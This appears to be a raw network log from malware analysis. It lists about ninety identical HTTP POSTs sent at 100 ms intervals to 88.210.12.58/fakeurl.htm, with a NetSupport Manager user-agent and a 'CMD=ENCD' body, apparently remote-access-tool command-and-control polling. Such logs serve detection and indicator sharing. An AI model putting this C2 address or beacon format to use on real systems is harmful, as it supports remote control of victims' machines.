Dec 6, 2024 10:41:28.943614006 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:29.243748903 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:29.343751907 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:29.443794966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:29.543802023 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:29.643755913 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:29.743762970 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:29.844866991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:29.945796013 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.045794964 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.150424957 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.249804020 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.350811958 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.450773001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.551778078 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.655729055 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.755660057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.853810072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:30.955794096 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.055660963 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.154839993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.255846977 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.355926991 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.455781937 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.556756973 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.656778097 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.757745981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.857773066 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:31.958801985 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.059762001 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.164444923 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.263758898 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.363852024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.464750051 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.565623999 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.664763927 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.765782118 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.869617939 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:32.966742992 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.067774057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.167824030 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.268794060 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.373622894 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.469847918 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.569818974 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.670761108 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.770873070 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.871788025 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:33.972799063 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.073769093 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.177649975 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.277622938 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.377624989 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.477396011 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.576831102 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.677618980 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.777637005 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.876775026 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:34.981167078 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.079641104 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.177783966 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.278758049 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.379826069 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.479819059 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.579817057 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.680814981 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.780786037 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.881911993 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:35.981831074 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.082825899 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.185657024 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.285645962 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.382796049 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.485686064 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.583820105 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.685635090 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.785654068 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.885828018 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:36.988904953 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.085803986 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.185870886 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.286870003 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.386816025 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.486918926 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.587811947 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.687794924 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.787781000 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.888817072 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:37.989784956 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.090830088 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.191766977 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.291810989 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
Dec 6, 2024 10:41:38.391840935 CET	230	OUT	POST http://88.210.12.58/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 36Host: 88.210.12.58Connection: Keep-AliveCMD=ENCDES=1DATA=#mHUAAg Data Raw: Data Ascii:
